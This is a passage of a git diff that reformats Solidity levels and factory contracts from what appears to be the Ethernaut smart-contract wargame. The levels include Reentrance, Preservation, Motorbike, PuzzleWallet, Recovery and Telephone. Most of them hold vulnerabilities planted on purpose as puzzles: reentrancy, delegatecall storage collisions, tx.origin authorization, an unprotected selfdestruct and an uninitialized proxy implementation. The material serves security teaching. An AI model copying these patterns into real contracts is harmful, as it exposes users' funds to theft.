solver = _solver; - } - - /* + /* ____________/\\\_______/\\\\\\\\\_____ __________/\\\\\_____/\\\///////\\\___ ________/\\\/\\\____\///______\//\\\__ @@ -21,5 +20,5 @@ contract MagicNum { _\///////////\\\//____/\\\/___________ ___________\/\\\_____/\\\\\\\\\\\\\\\_ ___________\///_____\///////////////__ - */ + */ } diff --git a/contracts/src/levels/MagicNumFactory.sol b/contracts/src/levels/MagicNumFactory.sol index b41c9be85..f311c12e9 100644 --- a/contracts/src/levels/MagicNumFactory.sol +++ b/contracts/src/levels/MagicNumFactory.sol @@ -6,34 +6,32 @@ import "./MagicNum.sol"; import "./base/Level.sol"; interface Solver { - function whatIsTheMeaningOfLife() external view returns (bytes32); + function whatIsTheMeaningOfLife() external view returns (bytes32); } contract MagicNumFactory is Level { + function createInstance(address) public payable override returns (address) { + return address(new MagicNum()); + } + + function validateInstance(address payable _instance, address) public view override returns (bool) { + // Retrieve the instance. + MagicNum instance = MagicNum(_instance); + + // Retrieve the solver from the instance. + Solver solver = Solver(instance.solver()); + + // Query the solver for the magic number. + bytes32 magic = solver.whatIsTheMeaningOfLife(); + if (magic != 0x000000000000000000000000000000000000000000000000000000000000002a) return false; + + // Require the solver to have at most 10 opcodes. + uint256 size; + assembly { + size := extcodesize(solver) + } + if (size > 10) return false; - function createInstance(address) override public payable returns (address) { - return address(new MagicNum()); - } - - function validateInstance(address payable _instance, address) override public view returns (bool) { - - // Retrieve the instance. - MagicNum instance = MagicNum(_instance); - - // Retrieve the solver from the instance. - Solver solver = Solver(instance.solver()); - - // Query the solver for the magic number. - bytes32 magic = solver.whatIsTheMeaningOfLife(); - if(magic != 0x000000000000000000000000000000000000000000000000000000000000002a) return false; - - // Require the solver to have at most 10 opcodes. - uint256 size; - assembly { - size := extcodesize(solver) + return true; } - if(size > 10) return false; - - return true; - } } diff --git a/contracts/src/levels/Motorbike.sol b/contracts/src/levels/Motorbike.sol index f1e8dbf42..bede8f241 100644 --- a/contracts/src/levels/Motorbike.sol +++ b/contracts/src/levels/Motorbike.sol @@ -8,18 +8,16 @@ import "openzeppelin-contracts-06/proxy/Initializable.sol"; contract Motorbike { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; - + struct AddressSlot { address value; } - + // Initializes the upgradeable proxy with an initial implementation specified by `_logic`. constructor(address _logic) public { require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; - (bool success,) = _logic.delegatecall( - abi.encodeWithSignature("initialize()") - ); + (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()")); require(success, "Call failed"); } @@ -36,9 +34,9 @@ contract Motorbike { } } - // Fallback function that delegates calls to the address returned by `_implementation()`. + // Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call data - fallback () external payable virtual { + fallback() external payable virtual { _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); } @@ -79,10 +77,7 @@ contract Engine is Initializable { } // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. - function _upgradeToAndCall( - address newImplementation, - bytes memory data - ) internal { + function _upgradeToAndCall(address newImplementation, bytes memory data) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { @@ -90,11 +85,11 @@ contract Engine is Initializable { require(success, "Call failed"); } } - + // Stores a new address in the EIP1967 implementation slot. function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); - + AddressSlot storage r; assembly { r_slot := _IMPLEMENTATION_SLOT diff --git a/contracts/src/levels/MotorbikeFactory.sol b/contracts/src/levels/MotorbikeFactory.sol index a3090a7aa..fa2cc17b5 100644 --- a/contracts/src/levels/MotorbikeFactory.sol +++ b/contracts/src/levels/MotorbikeFactory.sol @@ -7,37 +7,32 @@ import "./Motorbike.sol"; import "openzeppelin-contracts-06/utils/Address.sol"; contract MotorbikeFactory is Level { - - mapping(address => address) private engines; - - function createInstance(address _player) public payable override returns (address) { - _player; - - Engine engine = new Engine(); - Motorbike motorbike = new Motorbike(address(engine)); - engines[address(motorbike)] = address(engine); - - require( - keccak256(Address.functionCall( - address(motorbike), - abi.encodeWithSignature("upgrader()") - )) == keccak256(abi.encode(address(this))), - "Wrong upgrader address" - ); - - require( - keccak256(Address.functionCall( - address(motorbike), - abi.encodeWithSignature("horsePower()") - )) == keccak256(abi.encode(uint256(1000))), - "Wrong horsePower" - ); - - return address(motorbike); - } - - function validateInstance(address payable _instance, address _player) public override returns (bool) { - _player; - return !Address.isContract(engines[_instance]); - } -} \ No newline at end of file + mapping(address => address) private engines; + + function createInstance(address _player) public payable override returns (address) { + _player; + + Engine engine = new Engine(); + Motorbike motorbike = new Motorbike(address(engine)); + engines[address(motorbike)] = address(engine); + + require( + keccak256(Address.functionCall(address(motorbike), abi.encodeWithSignature("upgrader()"))) + == keccak256(abi.encode(address(this))), + "Wrong upgrader address" + ); + + require( + keccak256(Address.functionCall(address(motorbike), abi.encodeWithSignature("horsePower()"))) + == keccak256(abi.encode(uint256(1000))), + "Wrong horsePower" + ); + + return address(motorbike); + } + + function validateInstance(address payable _instance, address _player) public override returns (bool) { + _player; + return !Address.isContract(engines[_instance]); + } +} diff --git a/contracts/src/levels/NaughtCoin.sol b/contracts/src/levels/NaughtCoin.sol index 605b23d2a..dba226695 100644 --- a/contracts/src/levels/NaughtCoin.sol +++ b/contracts/src/levels/NaughtCoin.sol @@ -1,38 +1,36 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol'; +import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; - contract NaughtCoin is ERC20 { +contract NaughtCoin is ERC20 { + // string public constant name = 'NaughtCoin'; + // string public constant symbol = '0x0'; + // uint public constant decimals = 18; + uint256 public timeLock = block.timestamp + 10 * 365 days; + uint256 public INITIAL_SUPPLY; + address public player; - // string public constant name = 'NaughtCoin'; - // string public constant symbol = '0x0'; - // uint public constant decimals = 18; - uint public timeLock = block.timestamp + 10 * 365 days; - uint256 public INITIAL_SUPPLY; - address public player; + constructor(address _player) ERC20("NaughtCoin", "0x0") { + player = _player; + INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); + // _totalSupply = INITIAL_SUPPLY; + // _balances[player] = INITIAL_SUPPLY; + _mint(player, INITIAL_SUPPLY); + emit Transfer(address(0), player, INITIAL_SUPPLY); + } - constructor(address _player) - ERC20('NaughtCoin', '0x0') { - player = _player; - INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); - // _totalSupply = INITIAL_SUPPLY; - // _balances[player] = INITIAL_SUPPLY; - _mint(player, INITIAL_SUPPLY); - emit Transfer(address(0), player, INITIAL_SUPPLY); - } - - function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { - super.transfer(_to, _value); - } + function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { + super.transfer(_to, _value); + } - // Prevent the initial owner from transferring tokens until the timelock has passed - modifier lockTokens() { - if (msg.sender == player) { - require(block.timestamp > timeLock); - _; - } else { - _; + // Prevent the initial owner from transferring tokens until the timelock has passed + modifier lockTokens() { + if (msg.sender == player) { + require(block.timestamp > timeLock); + _; + } else { + _; + } } - } -} +} diff --git a/contracts/src/levels/NaughtCoinFactory.sol b/contracts/src/levels/NaughtCoinFactory.sol index 3f3d7a430..61176f6df 100644 --- a/contracts/src/levels/NaughtCoinFactory.sol +++ b/contracts/src/levels/NaughtCoinFactory.sol @@ -2,17 +2,16 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './NaughtCoin.sol'; +import "./base/Level.sol"; +import "./NaughtCoin.sol"; contract NaughtCoinFactory is Level { + function createInstance(address _player) public payable override returns (address) { + return address(new NaughtCoin(_player)); + } - function createInstance(address _player) override public payable returns (address) { - return address(new NaughtCoin(_player)); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - NaughtCoin instance = NaughtCoin(_instance); - return instance.balanceOf(_player) == 0; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + NaughtCoin instance = NaughtCoin(_instance); + return instance.balanceOf(_player) == 0; + } } diff --git a/contracts/src/levels/Preservation.sol b/contracts/src/levels/Preservation.sol index 743c5d513..8379ddd3c 100644 --- a/contracts/src/levels/Preservation.sol +++ b/contracts/src/levels/Preservation.sol @@ -2,39 +2,37 @@ pragma solidity ^0.8.0; contract Preservation { + // public library contracts + address public timeZone1Library; + address public timeZone2Library; + address public owner; + uint256 storedTime; + // Sets the function signature for delegatecall + bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); - // public library contracts - address public timeZone1Library; - address public timeZone2Library; - address public owner; - uint storedTime; - // Sets the function signature for delegatecall - bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); + constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { + timeZone1Library = _timeZone1LibraryAddress; + timeZone2Library = _timeZone2LibraryAddress; + owner = msg.sender; + } - constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { - timeZone1Library = _timeZone1LibraryAddress; - timeZone2Library = _timeZone2LibraryAddress; - owner = msg.sender; - } - - // set the time for timezone 1 - function setFirstTime(uint _timeStamp) public { - timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); - } + // set the time for timezone 1 + function setFirstTime(uint256 _timeStamp) public { + timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); + } - // set the time for timezone 2 - function setSecondTime(uint _timeStamp) public { - timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); - } + // set the time for timezone 2 + function setSecondTime(uint256 _timeStamp) public { + timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); + } } // Simple library contract to set the time contract LibraryContract { + // stores a timestamp + uint256 storedTime; - // stores a timestamp - uint storedTime; - - function setTime(uint _time) public { - storedTime = _time; - } + function setTime(uint256 _time) public { + storedTime = _time; + } } diff --git a/contracts/src/levels/PreservationFactory.sol b/contracts/src/levels/PreservationFactory.sol index 55eab9751..3bb6fd804 100644 --- a/contracts/src/levels/PreservationFactory.sol +++ b/contracts/src/levels/PreservationFactory.sol @@ -2,26 +2,25 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Preservation.sol'; +import "./base/Level.sol"; +import "./Preservation.sol"; contract PreservationFactory is Level { + address timeZone1LibraryAddress; + address timeZone2LibraryAddress; - address timeZone1LibraryAddress; - address timeZone2LibraryAddress; + constructor() { + timeZone1LibraryAddress = address(new LibraryContract()); + timeZone2LibraryAddress = address(new LibraryContract()); + } - constructor() { - timeZone1LibraryAddress = address(new LibraryContract()); - timeZone2LibraryAddress = address(new LibraryContract()); - } + function createInstance(address _player) public payable override returns (address) { + _player; + return address(new Preservation(timeZone1LibraryAddress, timeZone2LibraryAddress)); + } - function createInstance(address _player) override public payable returns (address) { - _player; - return address(new Preservation(timeZone1LibraryAddress, timeZone2LibraryAddress)); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - Preservation preservation = Preservation(_instance); - return preservation.owner() == _player; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + Preservation preservation = Preservation(_instance); + return preservation.owner() == _player; + } } diff --git a/contracts/src/levels/Privacy.sol b/contracts/src/levels/Privacy.sol index a59c3d7c6..6a4048b77 100644 --- a/contracts/src/levels/Privacy.sol +++ b/contracts/src/levels/Privacy.sol @@ -2,24 +2,23 @@ pragma solidity ^0.8.0; contract Privacy { + bool public locked = true; + uint256 public ID = block.timestamp; + uint8 private flattening = 10; + uint8 private denomination = 255; + uint16 private awkwardness = uint16(block.timestamp); + bytes32[3] private data; - bool public locked = true; - uint256 public ID = block.timestamp; - uint8 private flattening = 10; - uint8 private denomination = 255; - uint16 private awkwardness = uint16(block.timestamp); - bytes32[3] private data; + constructor(bytes32[3] memory _data) { + data = _data; + } - constructor(bytes32[3] memory _data) { - data = _data; - } - - function unlock(bytes16 _key) public { - require(_key == bytes16(data[2])); - locked = false; - } + function unlock(bytes16 _key) public { + require(_key == bytes16(data[2])); + locked = false; + } - /* + /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` @@ -27,5 +26,5 @@ contract Privacy { *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU - */ + */ } diff --git a/contracts/src/levels/PrivacyFactory.sol b/contracts/src/levels/PrivacyFactory.sol index 9e3e80123..4309e3b78 100644 --- a/contracts/src/levels/PrivacyFactory.sol +++ b/contracts/src/levels/PrivacyFactory.sol @@ -2,22 +2,21 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Privacy.sol'; +import "./base/Level.sol"; +import "./Privacy.sol"; contract PrivacyFactory is Level { + function createInstance(address) public payable override returns (address) { + bytes32[3] memory data; + data[0] = keccak256(abi.encodePacked(tx.origin, "0")); + data[1] = keccak256(abi.encodePacked(tx.origin, "1")); + data[2] = keccak256(abi.encodePacked(tx.origin, "2")); + Privacy instance = new Privacy(data); + return address(instance); + } - function createInstance(address) override public payable returns (address) { - bytes32[3] memory data; - data[0] = keccak256(abi.encodePacked(tx.origin,"0")); - data[1] = keccak256(abi.encodePacked(tx.origin,"1")); - data[2] = keccak256(abi.encodePacked(tx.origin,"2")); - Privacy instance = new Privacy(data); - return address(instance); - } - - function validateInstance(address payable _instance, address) override public view returns (bool) { - Privacy instance = Privacy(_instance); - return instance.locked() == false; - } + function validateInstance(address payable _instance, address) public view override returns (bool) { + Privacy instance = Privacy(_instance); + return instance.locked() == false; + } } diff --git a/contracts/src/levels/PuzzleWallet.sol b/contracts/src/levels/PuzzleWallet.sol index b4c805dd7..078bd2063 100644 --- a/contracts/src/levels/PuzzleWallet.sol +++ b/contracts/src/levels/PuzzleWallet.sol @@ -8,13 +8,15 @@ contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; - constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) { + constructor(address _admin, address _implementation, bytes memory _initData) + UpgradeableProxy(_implementation, _initData) + { admin = _admin; } - modifier onlyAdmin { - require(msg.sender == admin, "Caller is not the admin"); - _; + modifier onlyAdmin() { + require(msg.sender == admin, "Caller is not the admin"); + _; } function proposeNewAdmin(address _newAdmin) external { @@ -43,14 +45,14 @@ contract PuzzleWallet { owner = msg.sender; } - modifier onlyWhitelisted { + modifier onlyWhitelisted() { require(whitelisted[msg.sender], "Not whitelisted"); _; } function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { - require(address(this).balance == 0, "Contract balance is not 0"); - maxBalance = _maxBalance; + require(address(this).balance == 0, "Contract balance is not 0"); + maxBalance = _maxBalance; } function addToWhitelist(address addr) external { @@ -59,14 +61,14 @@ contract PuzzleWallet { } function deposit() external payable onlyWhitelisted { - require(address(this).balance <= maxBalance, "Max balance reached"); - balances[msg.sender] += msg.value; + require(address(this).balance <= maxBalance, "Max balance reached"); + balances[msg.sender] += msg.value; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; - (bool success, ) = to.call{ value: value }(data); + (bool success,) = to.call{value: value}(data); require(success, "Execution failed"); } @@ -83,7 +85,7 @@ contract PuzzleWallet { // Protect against reusing msg.value depositCalled = true; } - (bool success, ) = address(this).delegatecall(data[i]); + (bool success,) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } diff --git a/contracts/src/levels/PuzzleWalletFactory.sol b/contracts/src/levels/PuzzleWalletFactory.sol index 557a262af..d776e6de9 100644 --- a/contracts/src/levels/PuzzleWalletFactory.sol +++ b/contracts/src/levels/PuzzleWalletFactory.sol @@ -2,32 +2,31 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './PuzzleWallet.sol'; +import "./base/Level.sol"; +import "./PuzzleWallet.sol"; contract PuzzleWalletFactory is Level { + function createInstance(address /*_player*/ ) public payable override returns (address) { + require(msg.value == 0.001 ether, "Must send 0.001 ETH to create instance"); - function createInstance(address /*_player*/) override public payable returns (address) { - require(msg.value == 0.001 ether, "Must send 0.001 ETH to create instance"); + // deploy the PuzzleWallet logic + PuzzleWallet walletLogic = new PuzzleWallet(); - // deploy the PuzzleWallet logic - PuzzleWallet walletLogic = new PuzzleWallet(); + // deploy proxy and initialize implementation contract + bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether); + PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data); + PuzzleWallet instance = PuzzleWallet(address(proxy)); - // deploy proxy and initialize implementation contract - bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether); - PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data); - PuzzleWallet instance = PuzzleWallet(address(proxy)); + // whitelist this contract to allow it to deposit ETH + instance.addToWhitelist(address(this)); + instance.deposit{value: msg.value}(); - // whitelist this contract to allow it to deposit ETH - instance.addToWhitelist(address(this)); - instance.deposit{ value: msg.value }(); + return address(proxy); + } - return address(proxy); - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + PuzzleProxy proxy = PuzzleProxy(_instance); - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - PuzzleProxy proxy = PuzzleProxy(_instance); - - return proxy.admin() == _player; - } + return proxy.admin() == _player; + } } diff --git a/contracts/src/levels/Recovery.sol b/contracts/src/levels/Recovery.sol index 08191f340..dfe1613fb 100644 --- a/contracts/src/levels/Recovery.sol +++ b/contracts/src/levels/Recovery.sol @@ -2,39 +2,36 @@ pragma solidity ^0.8.0; contract Recovery { - - //generate tokens - function generateToken(string memory _name, uint256 _initialSupply) public { - new SimpleToken(_name, msg.sender, _initialSupply); - - } + //generate tokens + function generateToken(string memory _name, uint256 _initialSupply) public { + new SimpleToken(_name, msg.sender, _initialSupply); + } } contract SimpleToken { - - string public name; - mapping (address => uint) public balances; - - // constructor - constructor(string memory _name, address _creator, uint256 _initialSupply) { - name = _name; - balances[_creator] = _initialSupply; - } - - // collect ether in return for tokens - receive() external payable { - balances[msg.sender] = msg.value * 10; - } - - // allow transfers of tokens - function transfer(address _to, uint _amount) public { - require(balances[msg.sender] >= _amount); - balances[msg.sender] = balances[msg.sender] - _amount; - balances[_to] = _amount; - } - - // clean up after ourselves - function destroy(address payable _to) public { - selfdestruct(_to); - } + string public name; + mapping(address => uint256) public balances; + + // constructor + constructor(string memory _name, address _creator, uint256 _initialSupply) { + name = _name; + balances[_creator] = _initialSupply; + } + + // collect ether in return for tokens + receive() external payable { + balances[msg.sender] = msg.value * 10; + } + + // allow transfers of tokens + function transfer(address _to, uint256 _amount) public { + require(balances[msg.sender] >= _amount); + balances[msg.sender] = balances[msg.sender] - _amount; + balances[_to] = _amount; + } + + // clean up after ourselves + function destroy(address payable _to) public { + selfdestruct(_to); + } } diff --git a/contracts/src/levels/RecoveryFactory.sol b/contracts/src/levels/RecoveryFactory.sol index 40ea7404f..dc97ce7c2 100644 --- a/contracts/src/levels/RecoveryFactory.sol +++ b/contracts/src/levels/RecoveryFactory.sol @@ -2,30 +2,31 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Recovery.sol'; +import "./base/Level.sol"; +import "./Recovery.sol"; contract RecoveryFactory is Level { - - mapping (address => address) lostAddress; - - function createInstance(address _player) override public payable returns (address) { - require(msg.value >= 0.001 ether, "Must send at least 0.001 ETH"); - - Recovery recoveryInstance; - recoveryInstance = new Recovery(); - // create a simple token - recoveryInstance.generateToken("InitialToken", uint(100000)); - // the lost address - lostAddress[address(recoveryInstance)] = address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), recoveryInstance, uint8(0x01)))))); - // Send it some ether - (bool result,) = lostAddress[address(recoveryInstance)].call{value: msg.value}(""); - require(result); - - return address(recoveryInstance); - } - - function validateInstance(address payable _instance, address) override public view returns (bool) { - return address(lostAddress[_instance]).balance == 0; - } + mapping(address => address) lostAddress; + + function createInstance(address _player) public payable override returns (address) { + require(msg.value >= 0.001 ether, "Must send at least 0.001 ETH"); + + Recovery recoveryInstance; + recoveryInstance = new Recovery(); + // create a simple token + recoveryInstance.generateToken("InitialToken", uint256(100000)); + // the lost address + lostAddress[address(recoveryInstance)] = address( + uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), recoveryInstance, uint8(0x01))))) + ); + // Send it some ether + (bool result,) = lostAddress[address(recoveryInstance)].call{value: msg.value}(""); + require(result); + + return address(recoveryInstance); + } + + function validateInstance(address payable _instance, address) public view override returns (bool) { + return address(lostAddress[_instance]).balance == 0; + } } diff --git a/contracts/src/levels/RecoverySimpleToken.sol b/contracts/src/levels/RecoverySimpleToken.sol index 14de0223b..a16af22ad 100644 --- a/contracts/src/levels/RecoverySimpleToken.sol +++ b/contracts/src/levels/RecoverySimpleToken.sol @@ -2,32 +2,30 @@ pragma solidity ^0.8.0; contract RecoverySimpleToken { + // public variables + string public name; + mapping(address => uint256) public balances; - // public variables - string public name; - mapping (address => uint) public balances; + // constructor + constructor(string memory _name, address _creator, uint256 _initialSupply) { + name = _name; + balances[_creator] = _initialSupply; + } - // constructor - constructor(string memory _name, address _creator, uint256 _initialSupply) { - name = _name; - balances[_creator] = _initialSupply; - } + // collect ether in return for tokens + receive() external payable { + balances[msg.sender] += msg.value * 10; + } - // collect ether in return for tokens - receive() external payable { - balances[msg.sender] += msg.value * 10; - } + // allow transfers of tokens + function transfer(address _to, uint256 _amount) public { + require(balances[msg.sender] >= _amount); + balances[msg.sender] = balances[msg.sender] - _amount; + balances[_to] = _amount; + } - // allow transfers of tokens - function transfer(address _to, uint _amount) public { - require(balances[msg.sender] >= _amount); - balances[msg.sender] = balances[msg.sender] - _amount; - balances[_to] = _amount; - } - - // clean up after ourselves - function destroy(address payable to) public { - selfdestruct(to); - } + // clean up after ourselves + function destroy(address payable to) public { + selfdestruct(to); + } } - diff --git a/contracts/src/levels/Reentrance.sol b/contracts/src/levels/Reentrance.sol index 9d504b422..b6e2993d8 100644 --- a/contracts/src/levels/Reentrance.sol +++ b/contracts/src/levels/Reentrance.sol @@ -1,30 +1,30 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; -import 'openzeppelin-contracts-06/math/SafeMath.sol'; +import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Reentrance { - - using SafeMath for uint256; - mapping(address => uint) public balances; + using SafeMath for uint256; - function donate(address _to) public payable { - balances[_to] = balances[_to].add(msg.value); - } + mapping(address => uint256) public balances; - function balanceOf(address _who) public view returns (uint balance) { - return balances[_who]; - } + function donate(address _to) public payable { + balances[_to] = balances[_to].add(msg.value); + } + + function balanceOf(address _who) public view returns (uint256 balance) { + return balances[_who]; + } - function withdraw(uint _amount) public { - if(balances[msg.sender] >= _amount) { - (bool result,) = msg.sender.call{value:_amount}(""); - if(result) { - _amount; - } - balances[msg.sender] -= _amount; + function withdraw(uint256 _amount) public { + if (balances[msg.sender] >= _amount) { + (bool result,) = msg.sender.call{value: _amount}(""); + if (result) { + _amount; + } + balances[msg.sender] -= _amount; + } } - } - receive() external payable {} + receive() external payable {} } diff --git a/contracts/src/levels/ReentranceFactory.sol b/contracts/src/levels/ReentranceFactory.sol index af94d4cc7..e0ee302d8 100644 --- a/contracts/src/levels/ReentranceFactory.sol +++ b/contracts/src/levels/ReentranceFactory.sol @@ -2,27 +2,26 @@ pragma solidity ^0.6.0; -import './base/Level-06.sol'; -import './Reentrance.sol'; +import "./base/Level-06.sol"; +import "./Reentrance.sol"; contract ReentranceFactory is Level { + uint256 public insertCoin = 0.001 ether; - uint public insertCoin = 0.001 ether; + function createInstance(address _player) public payable override returns (address) { + _player; + require(msg.value >= insertCoin); + Reentrance instance = new Reentrance(); + require(address(this).balance >= insertCoin); + address(instance).transfer(insertCoin); + return address(instance); + } - function createInstance(address _player) override public payable returns (address) { - _player; - require(msg.value >= insertCoin); - Reentrance instance = new Reentrance(); - require(address(this).balance >= insertCoin); - address(instance).transfer(insertCoin); - return address(instance); - } + function validateInstance(address payable _instance, address _player) public override returns (bool) { + _player; + Reentrance instance = Reentrance(_instance); + return address(instance).balance == 0; + } - function validateInstance(address payable _instance, address _player) override public returns (bool) { - _player; - Reentrance instance = Reentrance(_instance); - return address(instance).balance == 0; - } - - receive() external payable {} + receive() external payable {} } diff --git a/contracts/src/levels/Shop.sol b/contracts/src/levels/Shop.sol index 69e248ad9..e72a5af50 100644 --- a/contracts/src/levels/Shop.sol +++ b/contracts/src/levels/Shop.sol @@ -1,20 +1,20 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -interface Buyer { - function price() external view returns (uint); -} - -contract Shop { - uint public price = 100; - bool public isSold; - - function buy() public { - Buyer _buyer = Buyer(msg.sender); - - if (_buyer.price() >= price && !isSold) { - isSold = true; - price = _buyer.price(); - } - } -} +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface Buyer { + function price() external view returns (uint256); +} + +contract Shop { + uint256 public price = 100; + bool public isSold; + + function buy() public { + Buyer _buyer = Buyer(msg.sender); + + if (_buyer.price() >= price && !isSold) { + isSold = true; + price = _buyer.price(); + } + } +} diff --git a/contracts/src/levels/ShopFactory.sol b/contracts/src/levels/ShopFactory.sol index 9bf01ebc7..01dbc5f2c 100644 --- a/contracts/src/levels/ShopFactory.sol +++ b/contracts/src/levels/ShopFactory.sol @@ -2,20 +2,18 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Shop.sol'; +import "./base/Level.sol"; +import "./Shop.sol"; contract ShopFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Shop _shop = new Shop(); + return address(_shop); + } - function createInstance(address _player) override public payable returns (address) { - _player; - Shop _shop = new Shop(); - return address(_shop); - } - - function validateInstance(address payable _instance, address) override public view returns (bool) { - Shop _shop = Shop(_instance); - return _shop.price() < 100; - } - + function validateInstance(address payable _instance, address) public view override returns (bool) { + Shop _shop = Shop(_instance); + return _shop.price() < 100; + } } diff --git a/contracts/src/levels/Switch.sol b/contracts/src/levels/Switch.sol index 0b218f668..0d5f41917 100644 --- a/contracts/src/levels/Switch.sol +++ b/contracts/src/levels/Switch.sol @@ -1,40 +1,36 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -contract Switch { - bool public switchOn; // switch is off - bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); - - modifier onlyThis() { - require(msg.sender == address(this), "Only the contract can call this"); - _; - } - - modifier onlyOff() { - // we use a complex data type to put in memory - bytes32[1] memory selector; - // check that the calldata at position 68 (location of _data) - assembly { - calldatacopy(selector, 68, 4) // grab function selector from calldata - } - require( - selector[0] == offSelector, - "Can only call the turnOffSwitch function" - ); - _; - } - - function flipSwitch(bytes memory _data) public onlyOff { - (bool success, ) = address(this).call(_data); - require(success, "call failed :("); - } - - function turnSwitchOn() public onlyThis { - switchOn = true; - } - - function turnSwitchOff() public onlyThis { - switchOn = false; - } - -} +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract Switch { + bool public switchOn; // switch is off + bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); + + modifier onlyThis() { + require(msg.sender == address(this), "Only the contract can call this"); + _; + } + + modifier onlyOff() { + // we use a complex data type to put in memory + bytes32[1] memory selector; + // check that the calldata at position 68 (location of _data) + assembly { + calldatacopy(selector, 68, 4) // grab function selector from calldata + } + require(selector[0] == offSelector, "Can only call the turnOffSwitch function"); + _; + } + + function flipSwitch(bytes memory _data) public onlyOff { + (bool success,) = address(this).call(_data); + require(success, "call failed :("); + } + + function turnSwitchOn() public onlyThis { + switchOn = true; + } + + function turnSwitchOff() public onlyThis { + switchOn = false; + } +} diff --git a/contracts/src/levels/SwitchFactory.sol b/contracts/src/levels/SwitchFactory.sol index b8d879222..afd5067da 100644 --- a/contracts/src/levels/SwitchFactory.sol +++ b/contracts/src/levels/SwitchFactory.sol @@ -5,23 +5,13 @@ import "./base/Level.sol"; import "./Switch.sol"; contract SwitchFactory is Level { - function createInstance(address _player) - public - payable - override - returns (address) - { + function createInstance(address _player) public payable override returns (address) { _player; Switch _switch = new Switch(); return address(_switch); } - function validateInstance(address payable _instance, address _player) - public - view - override - returns (bool) - { + function validateInstance(address payable _instance, address _player) public view override returns (bool) { _player; Switch _switch = Switch(_instance); return _switch.switchOn(); diff --git a/contracts/src/levels/Telephone.sol b/contracts/src/levels/Telephone.sol index 32f035a06..1c59ab79a 100644 --- a/contracts/src/levels/Telephone.sol +++ b/contracts/src/levels/Telephone.sol @@ -2,16 +2,15 @@ pragma solidity ^0.8.0; contract Telephone { + address public owner; - address public owner; - - constructor() { - owner = msg.sender; - } + constructor() { + owner = msg.sender; + } - function changeOwner(address _owner) public { - if (tx.origin != msg.sender) { - owner = _owner; + function changeOwner(address _owner) public { + if (tx.origin != msg.sender) { + owner = _owner; + } } - } } diff --git a/contracts/src/levels/TelephoneFactory.sol b/contracts/src/levels/TelephoneFactory.sol index 832e1c116..d9e59c8c8 100644 --- a/contracts/src/levels/TelephoneFactory.sol +++ b/contracts/src/levels/TelephoneFactory.sol @@ -2,19 +2,18 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Telephone.sol'; +import "./base/Level.sol"; +import "./Telephone.sol"; contract 